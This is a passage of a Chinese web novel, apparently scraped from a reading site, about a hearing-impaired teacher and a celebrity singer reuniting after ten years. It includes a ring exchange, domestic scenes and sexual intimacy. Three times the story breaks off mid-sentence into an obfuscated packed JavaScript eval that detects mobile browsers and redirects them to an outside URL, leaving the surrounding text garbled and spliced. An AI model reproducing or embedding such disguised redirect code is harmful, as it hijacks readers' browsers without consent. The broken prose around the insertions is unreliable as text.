拙劣的演技让陈屿十分感慨,幸好他没有想不开去转型当演员,不然又给黑粉多了一个黑他的理由。 易深不情不愿地把身份证递给他。 陈屿指了指左边柜子的抽屉,说:“你帮我把它放回钱包里面,免得弄丢了。” 易深听话地拉开抽屉找到他说的钱包,打开的那一刻,整个人愣在了那里。 钱包的夹层里放着一张他们的合照。 17岁的易深揽着陈屿的肩膀,青涩又腼腆地看向镜头。 那也是他们唯一一张合照。 陈屿见他看着钱包发呆,忽然想起他放在钱包里的那张照片,连忙扑到易深怀里想把 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他沉默地将被他捏得皱巴巴的那张纸一一抚平,将病历表放回了原位。 手指轻轻抚过那台老式助听器。 心中的酸涩仿佛要溢出来。 如同这么多年里,他经常做的噩梦。 陈屿松开他的手,独自走进那条仿佛没有尽头、漫长又黑暗的小巷。 如果当时,他没有让陈屿离开…… “你在干嘛呢,快出来帮忙。” “来了。”易深的目光从角落那台被遮得严严实实的钢琴中移开。 今天的天气很好,阳光丝丝缕缕穿过树叶的缝隙,斑驳地洒在阳台上。 当初陈屿看中这套老破旧的房子就是因为这栋房子周围的绿化做得很好,二楼看上去就是间树景房,他很满意这个阳台,毫不犹豫地跟房东签下了合同。 陈屿深吸了一口新鲜的空气,伸了下懒腰。 趁着现在时间还早,陈屿先把鸡汤炖上。 “今晚我们吃火锅吧?” 冬天的第一顿火锅,应该要和喜欢的人一起吃。 易深:“我能帮忙做点什么?” 陈屿:“你帮忙把菜洗干净就好了。” 从冰箱里拿出来的鱿鱼腥味有些重,陈屿想了想,还是塞回了冰箱里面。 易深:“我还记得你很喜欢吃海鲜。” 陈屿不置可否地笑了笑,其实也没有特别喜欢。 只是那时候家里很穷,他连三餐温饱都无法解决。 而易深带他吃的第一顿饭,有虾有鱼,那时候他已经两天没怎么吃过东西了,只觉得那顿海鲜是他吃过最好吃的东西。 后来到了榆城工作,想要买点新鲜的虾或者贝类要早上到菜市场看看,要不就只能去超市买点海鲜冻品。 这里买肉倒是不难,羊肉驴肉鳄鱼肉什么都有,就是很难买到海鲜。 易深:“为什么不考虑回连城发展?现在的连城交通发达,你想吃什么海鲜基本也能满足,外卖和快递也能送到家门口,生活应该会比在榆城方便。” 陈屿:“榆城除了没有海鲜以外,其他都很好。” 易深:“你不是想回连城开个店什么的吗?” “启动资金不足啊。”陈屿眉梢微扬,调侃道:“所以你是想要给我投资吗?” 易深点点头:“如果你愿意的话。” 陈屿:“那你可想好了,如果我回连城开店,我们一个月都未必能见一次面了。” 连城如今是一线城市,每天都会接待大量游客,就连陈屿住的那条丰南路如今都变成了连城有名的小吃街了,每天的游客络绎不绝,从下午开始一直到凌晨的三四点才会安静下来。 如果他真的要回连城,那他是绝对不会让易深来找他的。 就算让易深戴上假发化个妆,他都觉得粉丝能把他扒出来。 那他的生意还能不能做了。 易深:“我...” 陈屿:“连城到处都是人,随随便便就把你认出来,你的人生到处都是观众和摄像头,我跟你走在街上,稍微挂个脸都要被挂网上,说我们疑似感情不和,我和你牵个手就说我们好事将近。” 易深:“……” 陈屿:“最惨的是,我们的家窗户要封死,窗帘是不能拉开的,家门口被粉丝堵得水泄不通,最后的结果就是有家不能回,只能考虑重新买套房或者搬离这座城市。” 易深:“。” 陈屿趁机掐了掐他手臂的软肉,哼声:“你还想不想和我偷情了?” 易深:“...偷情?” 陈屿微挑眉头,戏谑道:“难道我们现在不像偷情吗?” 易深抿了抿唇,想反驳他这句话,却什么话都说不出来。 陈屿好笑道:“你的嘴都能挂个油瓶了。” 易深双手穿过陈屿的腰,整个人挂在他的身上,闷闷地说了句:“没想到梦想成为了我们的阻碍。” 陈屿忽然想起在微博上看到的那些黑子说的话。 “易深。” “嗯?” “我是不是太自私了。” “为什么说这样的话?” “因为我只顾着我自己,所以只能委屈你。” 易深双手圈紧了他的腰,“我没有觉得委屈,和你重逢后的每一天我都很开心。” 陈屿低声笑了笑:“你又哄我。” 易深用脸蹭了蹭他的颈窝,微沉的嗓音充满了对他的依恋:“没有什么比你回到我身边更重要。” 陈屿:“我有份礼物想要送给你。” 易深:“什么?” 陈屿指了指沙发上的那个小礼盒,羞涩地抿了抿唇,声音有些紧张:“你,你自己拆开看看吧。” 几分钟后。 陈屿再次被拥入了怀里。 “我好喜欢。” 11. 第 11 章 “要帮我戴上吗?”易深从他身后紧紧搂住了他的腰,声音难掩喜悦之情,眸中盛满了笑意。 陈屿红着脸站在水池前,心脏砰砰狂跳,他从怀里抬头看向易深的脸。 他们彼此心意相通,现在的心情也是一样的。 陈屿把盒子里的戒指拿出来,心慌意乱地握着易深的手,紧张地把戒指戴在了他的无名指上,声音微颤:“是我戴上的,所以只能是我摘下来,知道了吗?” 易深把另一枚戒指拿出来同样地戴在了陈屿的无名指上,他忍不住低头亲了亲陈屿的侧脸,郑重地向他承诺:“答应你的事情永远都不会让你失望。” 陈屿看着近在咫尺的那张脸,伸手攀上他的脖子,踮起脚尖吻了一下他的唇角,对上他炙热的目光,眼神有些躲闪,“我的意思是要你洗澡的时候不能摘下来,就算是演唱会或者出席活动时也一样,你明白了吗?” “嗯。”易深微微低头,轻轻蹭着他的鼻尖,炽热的呼吸交织在一起。 热水沸腾冒泡的“咕噜咕噜”声惊动了两人,陈屿抵住易深凑过来的脸,不自在地轻咳一声:“我先去把鸡肉处理一下。” 易深忽然收紧了手臂,拉近了彼此之间的距离,低头亲吻了下他的嘴唇,才将他松开。 “先做饭吧。” 两人默契又配合地准备着今天的晚餐,谁也没再开口。 安静的气氛却充满了暧昧的感觉。 在这狭小的空间里,每一次的肢体碰撞都让陈屿心脏一颤,无法控制内心的悸动。 天色渐渐暗了下来。 冬天的夜晚来得格外早,气温骤然下降,空气中带着一丝丝冷意。 鸡汤的味道弥漫在客厅的每一个角落,小小的餐桌上摆满了各种蔬菜和肉。 陈屿把投影仪打开,随便点开了一部影片。 易深给他舀了一碗鸡汤。 陈屿看着他的样子,忽然开口:“这个场景在我脑海里幻想了无数遍。” “春天的时候有太多团圆的节日,家家户户都在忙着庆祝过年,我也一样,我会把家里塞满年货。我会逛几次花市,每一次都会捧回来新的盆栽放在阳台上;还会张贴窗花,□□联,门口的春联都是我精挑细选的...我还会提前在网上买很多喜庆的小玩意回来把家里布置得很有年味,看起来特别喜庆。” “每年做年夜饭都是满满一大桌,结果每年我都吃不完,接下来还得吃好几天的剩菜。” “榆城这种小地方,烟花能从小年开始放到元宵,每当夜里烟花燃放的声音响起时,我都在想,你是不是也在跟家里人团聚,是不是也跟我看着同一片天空...你是不是也在想我。” 那份藏在心里的疼痛,再次席卷而来将易深淹没,他的声音哑得厉害:“那时候的我应该在参加各大平台的活动,我从不缺席每年的春晚,我只是想让你能看到我,想起我,不要忘了我。” 陈屿心里的酸意快要溢出来,喉咙像堵了一大块棉花,闷声道:“你是不是忘了我从来不看春晚的。” 易深低声笑了笑:“我没忘记。” 陈屿微微一怔,眼眶里迅速积攒了一层雾气,他吸了吸鼻子,继续说道:“夏天的时候我会经常买啤酒西瓜和小龙虾,可惜你不在,一个人看球赛真的很寂寞,连进球的喜悦都无法分享。秋天的气氛太悲凉了,我经常失眠,因为想你所以彻夜睡不着。” 说到最后,陈屿的声音有些哽咽。 易深红着眼,口腔蔓延着苦涩的味道,握着他的手亲了亲那枚戒指,坚定地开口:“我们以后不会再错过了。” 陈屿垂眸,将悲伤的情绪一一隐去,“我们终于在十年后的冬天重逢。” 这个冬天好像不再那么难熬。 会有人陪他吃火锅。 可以互相拥抱取暖。 甚至他会开始期待春天的到来。 以后的春夏秋冬,易深都会陪在他的身边。 …… …… 多年不见,他们还有很多想说的话没说完,又忙着投身工作之中,相隔两地。 这一顿饭他们吃了很久很久,聊了很多以前的事情,聊现在,也聊未来,直到衣服、头发上都沾满了火锅的味道。 陈屿从浴室出来戴上助听器时才发现易深在弹钢琴。 他倚在房间门口,静静地看着易深的背影。 那台被他刻意遗忘在角落里的钢琴,终于在多年后发出了它原有的声音。 一曲结束后,陈屿拍了拍手:“好听。” “要一起吗?”易深朝他伸手。 陈屿有些惊讶,但还是握住了他的手,来到他身边坐下,低声笑道:“我好久没碰过钢琴了,你要教我吗?” 易深有些好奇:“音乐课不教钢琴吗?” 陈屿垂眸失笑:“是啊,学校的钢琴落满了灰尘。” 他僵硬地把手放在琴键上,迟迟没有按下去。 与易深轻松自如不一样的是,他显得笨拙生硬。 就在他想要退怯的时候,易深握住了他的手,“不是说好让我教你吗?” 陈屿扭头看着他:“嗯?” “坐到我这里来。”易深抱着他的腰,将他轻松地抱了起来。 陈屿还没反应过来,他就已经坐在了易深的腿上,他红着脸,说话也变得结巴:“这、这个姿势,是不是...” 易深下巴抵在他的肩膀上,握着他的双手,说:“我们慢慢来,好不好?” 陈屿的心渐渐平静下来。 白色的窗纱随着晚风轻轻摇曳,琴声飘得很远。 易深:“我们小屿弹得真好。” 陈屿的脑海里闪过一个模糊的片段,17岁的易深也像现在这样,手把手地教他弹钢琴曲,也曾说过那句话:我们小屿弹得真好。 记忆中易深那张青涩的笑脸与他如今成熟稳重的脸重合,让陈屿一时间恍了神。 “易深...” “怎么了?” 陈屿轻轻抚摸着他的脸,眼泪夺眶而出。 易深脸上的笑容戛然而止,他屏住呼吸,小心翼翼地拂去陈屿脸上的泪水,“为什么要哭?” “我. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是有点冷。”易深唇边浮起一抹不易察觉的微笑,伸手揽住他的腰,将他整个人拽入了怀里,“这样就很暖和了。” 1.2米的床,睡一个人刚刚好,两个人会显得很拥挤。 陈屿枕在他的手臂上,这个位置刚好能听到他胸腔里平稳而有力的心跳声。 “扑通扑通——” 同款沐浴露的香味萦绕在鼻息之间。 两人紧紧贴在一起,甚至能感觉到对方的肌肉线条。 易深轻轻拂去他脸上的发丝,微冷的指腹从他的脸颊一路游移到他的耳廓,落在他的助听器上,轻声问道:“睡觉也不取下来吗?” “一会...一会再取下来。” 微凉的触感仿佛带着电流般让陈屿感到很痒,他忍不住往后退去,试图跟易深拉开距离。 他退一步,易深就前进一步,最后把他堵在墙角,退无可退。 陈屿伸手抵在他胸前,声音有些抖:“太挤了,你往外边挪挪。” “不要。”易深盯着他羞红的脸,长臂箍着他的腰,将他牢牢困在怀里,垂头凑近他的脸,呢喃道:“亲一下好不好?” 12. 第 12 章 屋内暗黄色的灯光在此时此刻显得有些暧昧,陈屿对上易深温柔的目光,心跳漏了一拍。 易深这个问题问得好奇怪,他也没办法一本正经地告诉他能不能亲吧? 为什么他要问这么令人害羞的问题? 如果他说“不可以”,难道易深就不亲了吗? “我...”陈屿微微启唇,刚想说点什么,易深就覆上他的嘴唇,堵住了他未说完的话。 带着薄荷味道的吻急切地吻了下来,在陈屿猝不及防时轻松地撬开了他的牙关,吮咬着他的柔软的舌尖。 陈屿刚才大哭了一场,头脑晕涨涨的,连呼吸都还未调整过来,根本无力承受易深这样霸道的吻,只能用手抵着他的胸膛,试图将他推开,“先让我...嗯...” 易深双手撑在他的两侧,将他困在身下。 陈屿完全推不动易深的身体,只能被迫张开嘴唇配合他的深吻。 酥酥麻麻的感觉蔓延至他的全身,如同电流穿过他的四肢百骸,内心的躁动无法停歇,一股轻微的痒意从心脏开始扩散。 安静的房间里,只能听见两人急促的呼吸声和口水的吞咽声。 陈屿忍不住轻轻咬了下他的舌尖。 易深顿了顿,随后松开了他。 陈屿大口大口地喘着气,还未等他缓过来,易深再次吻上他的唇。 “唔...让我...” 易深的吻又急又凶,也越来越霸道,根本不给他任何拒绝的机会。 陈屿被吮得舌头发麻,绵绵麻麻的感觉席卷了他所有感官。 唇齿间的交缠让陈屿的思绪变得恍惚,睫毛轻轻颤动,只能顺从地攀上他的肩膀,任由他攫取自己的所有气息。 直到这个漫长的吻结束,耳边只剩下两人的粗喘声。 感觉到易深落在他脸上极具侵略性的目光,让陈屿羞怯地扭过头,不敢对上那灼热又骇人的视线。 “不...不亲了,不是说好的‘亲一下’吗?” 易深忽地轻笑一声,低头亲了亲他的侧脸,“那我可以亲亲别的地方吗?” 陈屿猛地摇了摇头。 易深轻轻触碰着他那只没有戴上助听器的耳朵,温柔缱绻的吻落在他的耳廓。 易深不知道的是,陈屿没有戴助听器的这只耳朵特别敏感,湿热的吻刚触碰到他的耳朵,他就打了个哆嗦。 “不要。” 陈屿试图推开易深的手,反而被他捏住了手腕高举过头。 柔软的舌尖舔着他的耳轮,随后落在他的耳垂,轻轻啃咬。 陈屿抿紧了下唇瓣,指尖揪着枕头,用力到发白。 耳朵的敏感让他浑身都有种酥麻感。 “不要这样。” 陈屿眼眶里氤氲着水雾。 易深舔了舔他红肿的耳垂,盯着他的目光带着几分餍足,像是在欣赏留在他身上的印记。 接着,在他的颈侧留下一串湿漉漉的吻。 陈屿缩着脖子,害羞得满脸通红,声音紧张到发颤:“你、你还要亲多久啊?” 易深咬了一口他的喉结,随后在上面舔了舔,哑声道:“不能亲吗?” 陈屿:“不是不能亲...” 易深:“那是不舒服吗?” 陈屿强忍着心慌,小声说道:“也不是...” 很舒服,甚至舒服到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322674|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他害怕。 他从没见过易深这样性张力拉满的样子。 他也分不清自己是紧张害怕还是期待多一点。 易深失笑:“那就是可以亲。” 话音落下,易深再次吻上他的唇。 陈屿被迫张开嘴,被吻到缺氧,双眼迷离地看着易深,嘴角还挂着银丝,他无意识地朝易深撒娇:“疼。” 易深轻轻擦去他嘴唇上的水渍,哄道:“一会就不疼了。” “骗人。” “不许再亲了。” “说好的只亲一下。” 陈屿看着他的眼神充满了控诉。 随后他感觉腰上一凉,他的睡衣不知道什么时候卷至胸前,露出一截细白的腰。 他的双手被易深的手攥着,只能眼睁睁地易深咬着他的衣摆…… 他攥紧着拳头,喉间溢出细碎的闷哼声。 他双腿交叠,想要掩饰他的兴奋。 易深掰开他的腿,跪在他双腿之间。 “喜欢?” 陈屿立马摇了摇头。 易深双眼含着笑意,也没戳穿他的谎言,反而哄了他一句:“今天什么都没准备,下次好不好?” 感觉到他手上的薄茧,陈屿浑身轻轻颤栗,脑袋一片空白,陌生的情潮淹没了他所有理智。 “嗯啊……”陈屿瘫软在床。 几分钟后,易深再次端来一盆热水,将他身上的汗水擦拭干净。 陈屿的理智渐渐回笼,他紧闭双眼,装作一副睡着了的样子。 直到浴室的水声响起,陈屿把自己闷在被窝里,脸红得快要冒烟了。 天啊,他都干了些什么。 13. 第 13 章 淅淅沥沥的水声在浴室里响起,一点点传入陈屿的耳朵,他捂住耳朵紧闭双眼,可脑海里不停地闪现着刚才的场景。 他夹着双腿不停地摩擦着,仿佛还能感觉到易深那双温暖的手在为他…… 他把头探出被窝,看了一眼浴室的方向,不用细想也知道,他现在应该被当做打手*的配菜。 陈屿失神地看着天花板,深深地吸了一口气,脸上的热度还在不停地扩散,他感觉全身都在发烫。 易深说的“下次”他当然知道是什么意思。 他又不是小孩子了。 他们两个都快三十岁的成年人了。 他是不是该自己备一些放在家里? 如果是他来准备的话,易深会不会觉得他... 总不能让易深来准备吧,他肯定不会亲自买的,要是让助理买的话,那岂不是更糟糕?! 思绪有些混乱,陈屿半阖着双眼打了个哈欠。 易深怎么这么久了还没出来? 陈屿把助听器取了下来,放在枕头边上,睡意来袭,他抱着被子就睡了。 不久后,浴室的门打开,易深裹着浴巾走了出来。 陈屿只给他准备了一套睡衣,裤子脏了没办法再穿了。 房间的灯光好像调得暗了些。 残破的小木窗留了一道缝隙,冷风徐徐吹进来。 易深重新拉上了窗帘。 陈屿是靠着墙睡的,给他留了大半的床位和被子。 易深轻轻上了床,掀开被子,将陈屿抱进了怀里。 “嗯...”陈屿睡眼惺忪地看了他一眼,抵挡不住困意又睡了过去。 易深低头吻了吻他的眉心,确认他熟睡之后才拿出手机开始处理工作。 他把手机的灯光调到最暗,点开经纪人的联系方式,给她发了条微信。 易深:水西岛的演唱会结束后,我要休息一段时间,不要给我安排任何工作。 易深:微博关于我的话题能撤就撤,有任何试图扒我爱人马甲的热搜全部撤掉,加大工作室告黑的力度。 易深:我不会公开任何关于我爱人的真实身份信息。 易深:还有,帮我查一下国内外最好的耳科医生。 庄丽原本还在办公室加班,看到易深这条消息,吓得魂都要飞了,她的电话刚拨过去,就被挂断了。 易深:别打电话别发语音,他在睡觉,我不想吵醒他。 庄丽沉默了下,她知道易深把今天的工作推掉就是为了去榆城见他的爱人。 自从易深与他的爱人重逢后,易深会把爱人的事情放在第一,让她很担心易深会做出什么冲动的事情,就像当年他出柜这件事一样。 当年主持人有心刁难是真,但易深出柜这件事是包括她在内都没有想到的。 当时她知道这个消息时简直是两眼一黑,差点晕了过去。 这跟自毁前程有什么区别? 而易深只是轻飘飘地说了句:这是事实,而且我只用作品说话。 庄丽被气得够呛,她只能忙着给易深善后,她甚至以为易深的星途要止步于此的时候,易深出了新专辑,甚至火爆各大音乐平台的热搜榜,做到了真正地用作品说话。 虽然他们经历了最黑暗的一段时间,但那场翻身仗打得精彩极了,甚至让他们在业内吐气扬眉,将那些试图搅浑水的对家杀个片甲不留。 易深彻底地在乐坛站稳了脚跟。 所以当庄丽得知易深与他的爱人重逢时,她果断地提出要暂时替易深打理微博这件事,当然,也丝毫没有意外地被易深拒绝了。 易深当时的原话是:你放心吧,他不会让我乱来的。 明明是很郁闷的一句话,庄丽却在易深脸上看到了得意的神色,甚至是一种被人管束的高兴。 那时候的庄丽,有意外,有担忧,更多的是恐惧。 易深十年的执着,她有看在眼里,也清晰地看见了那天当易深得知他的这位爱人来看他的演唱会之后,那样惊心动魄的欢喜,那样不顾一切的疯狂。 虽然很高兴易深终于结束了他痛苦的单相思,但是在某些角度看来,她并不认为这完全是一件好事。 她不敢低估这位叫陈屿的人在易深心里的分量,甚至她觉得,易深能毫不犹豫地为他的爱人放弃一切,哪怕是如今在乐坛的地位,哪怕是他在娱乐圈得到的一切。 庄丽深吸一口气,从抽屉里拿出了一包烟,整理了一下思绪,随后给易深发了条信息。 庄丽:如果是要告诉我,你要退圈的话,那我可以明确地告诉你:我不同意。 易深:不是。 看到易深发过来的两个字,庄丽顿时松了口气,只要不是退圈,什么事情都好说。 庄丽:你让我去查国内外最好的耳科医生是怎么回事? 庄丽:耳朵受伤了吗? 易深:不是我,是我的爱人听力受损,如果他愿意的话,我想带他再去做个检查。 易深:你先帮我查一下这方面的医生,把资料发给我。 庄丽:我明白了,我会派人去查。 易深:演唱会结束后我要休息很长一段时间,在这期间,我不希望有任何人打扰。 这句“任何人”自然也包括庄丽本人,庄丽沉默了下,查了查易深明年的行程,揉了揉眉心。 水西岛的演唱会在下周,十二月中旬,年尾还有几个比较重要的活动需要他出席。 庄丽:你至少得参加一些颁奖活动。 易深:嗯,我知道,所以我会参加。 易深:而且明年我会带着新专辑回归,你可以放心。 庄丽把烟掐灭,明艳的红唇吐出一口白色的烟圈。 易深都这样说了,那她还有什么好说的。 庄丽:你老实跟我说,你是不是想退圈了? 易深:有这个想法,但是小屿拒绝了。 庄丽被呛了下,这就是她害怕的地方。 易深真的可以恋爱脑到陈屿说什么就是什么,他甚至非常乐意被陈屿摆布。 庄丽:我记得音乐是你的梦想,怎么能轻言放弃。 易深迟迟没有回复,庄丽还以为他不会回了。 十几分钟后,当她看见屏幕再次亮起时,易深的那条消息让她内心泛起了涟漪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322675|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,久久未能平静下来。 [梦想只是人生的一部分,可陈屿,是我整个人生。] 等她调整好情绪以后,她打开了办公室的大门,看着还在加班的同事,忽然笑了笑:“给大家点了宵夜,吃完宵夜咱们开个短暂的会议吧。” …… …… 十二月的榆城天气越来越冷了。 一股冷风从窗外徐徐吹进来,带来一丝丝冷意。 冰凉的触感让陈屿微微一颤,他从睡梦中醒来,打算翻个身继续睡,却发现他的整个身体都被压得死死的,无法动弹。 陈屿艰难地掀开眼皮,入目便是大片胸肌,他的头枕在易深的臂弯上,抬头就能看见易深恬静的睡颜。 他呆呆地看着他的脸,昨夜发生的点点滴滴再次在他脑海中重现。 陈屿咽了下口水,他的目光从易深的脸一路往下,精致的人鱼线下是那块系得松松垮垮的浴巾,此时已经掀起了一角,露出大片肌肤。 再往下看,陈屿呼吸一窒,怪不得他总觉得热热的,有些硌人。 易深怎么能把那东西放在...陈屿双眼一闭,不敢睁开眼,希望只是他的错觉。 就在他想着要怎么挣脱易深的怀抱还不会把他惊醒时,易深动了动,双臂搂紧了他的腰,那...往更深处蹭了蹭。 陈屿浑身僵住不敢乱动,哪怕是隔着薄薄的睡衣都能感觉到易深身体传来的滚烫。 感觉到易深落在他头顶的呼吸渐渐平静之后,陈屿才敢放松下来,看着他那条已经掉了一半的浴巾,再次变得僵硬,怎么能一大清早就对他耍流氓呢! 不知道是不是他的错觉,易深的身体明显有一种越来越兴奋的趋势。 他被堵在墙边的位置,要起来无论如何都会把易深弄醒,他想了想,还是主动掰开了易深箍在他腰间上的手。 “嗯...醒了吗?” 陈屿只能听到很微弱的声音,听不清楚说话的内容,他只能摸了摸枕边,把助听器戴上。 易深低头蹭了蹭他的脸,声音有种还未睡醒的沙哑和慵懒:“时间还早,再睡会吧。” 陈屿有些无奈,易深就像只八爪鱼一样,牢牢地抱着他,他连翻个身都难。 明明他还给易深留了大半的床位... “睡不着吗?” 陈屿还未来得及开口说话,就感觉到他抱着自己的腿往外边挪了下。 这样的摩擦力度,让陈屿感觉到,他好像更兴奋了。 陈屿红着脸推了推他的胸膛,羞怒地瞪了他一眼,斥道:“你怎么一大早就耍流氓啊。” 易深半阖着眼,唇边浮起一抹清浅的笑意,亲了亲他的脸,说:“好舒服。” 陈屿的脸“唰”地一下变得通红,感觉到他的小动作后,惊得他连说话都结巴起来:“你你你别乱动啊。” 易深翻身压着他,把头埋在他的颈窝,往他的肚子蹭了蹭,像抱怨更像撒娇地开口:“我都忍了一晚上了。” 陈屿紧张地抿了抿唇:“你不是说下次吗?” 易深轻轻咬了一口他的耳垂,遗憾地说道:“所以我只是蹭蹭。” 14. 第 14 章 “你好,有你的快递。” “帮我放在驿站吧,谢谢。” 陈屿无奈地挂了电话,转头给易深发了条消息:你又给我买什么了? 自从易深知道他家的位置之后,总喜欢给他寄东西,现在家里堆满了各种饮料零食,还有衣服首饰什么的。 每次陈屿问起,易深就说是品牌方送的。 易深的国民度很高,代言的产品覆盖衣食住行。 陈屿喜欢喝牛奶,易深一次性给他寄了五箱。 关键是他们的小区不让快递员送上楼,只能将快递放在附近的快递驿站。 所以那天陈屿在快递驿站看到那五箱牛奶的时候,人都傻了,如果他不是住的二楼,他会想飞到平江把易深暴揍一顿。 后来他就不让易深给他寄这么重的东西了。 易深就改成给他送零食,陈屿平时提过一嘴的,易深转头就给他送来一整箱,他根本吃不完,只能拿回办公室跟其他同事分享。 除了零食饮料,还有各种高奢品牌的衣服首饰珠宝,他好奇上官网查了查,光是一件衣服都能抵他一个月的工资了。 易深的品牌方会经常给他送产品,易深转头就送到他这里来了。 陈屿:快递小哥这个星期第三次给我打电话了。 陈屿:便便.jpg 易深:是f.x早春系列的款式。 易深:有几套很适合你。 陈屿:冬天还没过完呢。 陈屿:准确来说榆城才步入冬天没多久。 陈屿:现在是穿羽绒服的季节!! 陈屿:你个笨蛋。 陈屿:-_-|| 易深:那我让小林给你送几件冬衣? 易深:我这里还有很多新的衣服。 陈屿:我拒绝。 陈屿:你之前送的衣服吊牌都还没拆呢,我穿不完。 易深:不喜欢吗? 陈屿:不是不喜欢...我就算一天穿一件也穿不完啊。 陈屿:我的衣柜那么小,已经塞满了你送过来的衣服了,反正你别送了。 陈屿:也不要送我其他东西,现在家里堆满了快递,我连落脚的地方都没有了。 陈屿:黄豆发怒.jpg 易深:房子是有点小,小区还有别的房子出租吗? 易深:我们可以租下来放杂物。 陈屿:。 陈屿:黄豆敲打.jpg 陈屿给易深发了四五条语音,怒斥他这个行为之后,心里舒坦了,去上班的路上顺手取了快递。 他前天刚跟易深说过这个牌子的盐焗鸡翅很好吃,易深就送过来了。 好几次他拆快递的时候都不记得自己有说过喜欢什么。 可易深却对他说过的话很上心,他喜欢什么,不喜欢什么,都记在了心里。 易深的手机里该不会有个专门记录他喜好的备忘录吧? 陈屿:“。” 好像确实是易深会做的事情。 夏老师收到陈屿给她送的盐焗鸡翅时,深深地打量了他一眼,说:“陈老师,你坦白说吧,是不是买彩票中奖了?” 廖老师老师也跟着说了句:“苟富贵勿相忘。” “...”陈屿心虚地摸了摸鼻子,干笑一声:“夏老师你怎么会有这样的错觉?” 夏老师幽幽地看着他:“陈老师你今天穿的鞋子是B.R上个月的明星款,售价超五位数,身上的衣服和裤子都是f.x秋冬系列的款式,光是这身行头就小几万,你全身上下最便宜的就是戴在无名指上的那枚戒指,我看着不像是高奢品牌,比较像从周六福淘来的,难道陈老师你榜上大款了?” 陈屿感觉胸口中了好几枪。 他的戒指确实是在周六福买的,也不是什么特别的款式,还很便宜。 至于身上的衣服和鞋子,他只是觉得好看就拿来穿了,根本不了解市场。 至于傍大款... 那确实是个大款。 大款还给他上交了工资卡。 他都数不清里面有多少个零。 陈屿的目光飘忽不定,打算忽悠一下她:“夏老师,有没有可能,我穿的是假货?而且哪个大款能看得上我啊,我都28岁了,如果我是18岁的话,那还有点可能。” 夏老师蹙着眉头,眼神充满着怀疑:“现在的假货都做得这么真了吗?” 廖老师忍俊不禁地开口:“陈老师这张脸看起来像个大学生,哪里像是28岁了?” 陈屿:“哎呀,廖老师今天依旧美艳动人。” 两人商业互吹了一波,陈屿无奈失笑:“可惜了,榆城没有大款,而且要是中彩票的话,在下第一件事就是离职,拍拍屁股甩手不干了。” 夏老师:“有点道理,这样更符合陈老师的风格。” “是啊是啊。”陈屿顺着杆子往上爬,顺便转移了话题:“易深的演唱会我记得是在明天,你们都已经收拾好行李了吗?” 果然,一说到易深的演唱会,两位老师瞬间转移了注意力,开始兴致勃勃地谈论起水西岛的这趟旅行。 夏老师:“早就准备好了,虽然订的是海景房,可现在是冬天,总感觉差点意思。” 廖老师:“如果是在夏天的话,我们可以白天去冲浪、游泳,等到晚上再去看演唱会,行程安排得满满的,现在只能在海边吹吹风。” 夏老师:“不过水西岛那边的海鲜很出名,出了名的物美价廉,虽然现在是冬季,但还是能吃到各种各样的海鲜,也还不错。” 画风突变。 由演唱会的话题跳到了海鲜大餐,馋得陈屿直流口水。 陈屿:听说水西岛的海鲜很不错。 陈屿:(??﹃??) 易深:要来尝尝吗? 易深:十二月的海鲜依旧很肥美。 易深:[图片] 陈屿光是看小图就已经馋得不行了。 水西岛是沿海城市,有丰富的海产品。 城里有不少渔民会把海鲜晒成干货出售,有硬币那么粗的瑶柱,巴掌大的生蚝,各种腌制好的鱿鱼丝和小鱼干…… 全都是他喜欢吃的。 陈屿遗憾地趴在办公桌上,看着易深给他发的照片咽口水。 水西岛真的太远了,也太麻烦了。 从小区到榆城的高铁站要半小时的车程,到了高铁站还要先去一趟平山县的中转站,然后再从平山县坐两个小时的高铁去水西岛。 水西岛下了车以后还要再坐一次车到他想要去的地方。 坐网约车是可以一步到位,但是网约车要多花一倍的时间,他的屁股遭不住。 虽然他跟易深说过他不会去水西岛的演唱会,但易深还是给了他两张票,一张是2排28号的票,一张是第一排的票。 或许是他被大数据监控了,在办公室摸鱼玩手机的时候,系统一直给他推送关于水西岛的旅游攻略和酒店民宿。 在重复刷到一间超绝的海景房之后,陈屿还是没忍住,下单了。 他只是想要吃海鲜大餐,才不是想去看什么演唱会。 中午饭点的时候,易深又给他发了一堆美食的照片,气得他想拉黑。 易深:[图片] 易深:芝士焗龙虾,咸咸甜甜的,很符合你的口味。 易深:[图片] 易深:捞汁三文鱼不错,生蚝有点腥。 易深:[图片] 易深:你最喜欢吃的椒盐皮皮虾。 易深:还想吃什么? 易深:我可以滴滴代吃。 易深:黄豆可爱.jpg 陈屿:气冷抖。 陈屿:你是去工作还是去度假的? 易深:工作和美食可以同时兼顾。 陈屿:太过分了! 易深:[语音] 陈屿点开他的语音,含笑的声音通过助听器传入耳中。 [那你要不要来水西岛看我的演唱会?] 陈屿:不要。 陈屿:我生气了.jpg 易深:黄豆亲亲.jpg 易深:寒假的时候我带你去玩好不好? 易深:我们可以去马尔代夫,塞班岛,普吉岛,或者是你想去的地方。 陈屿:不行,寒假我有别的计划 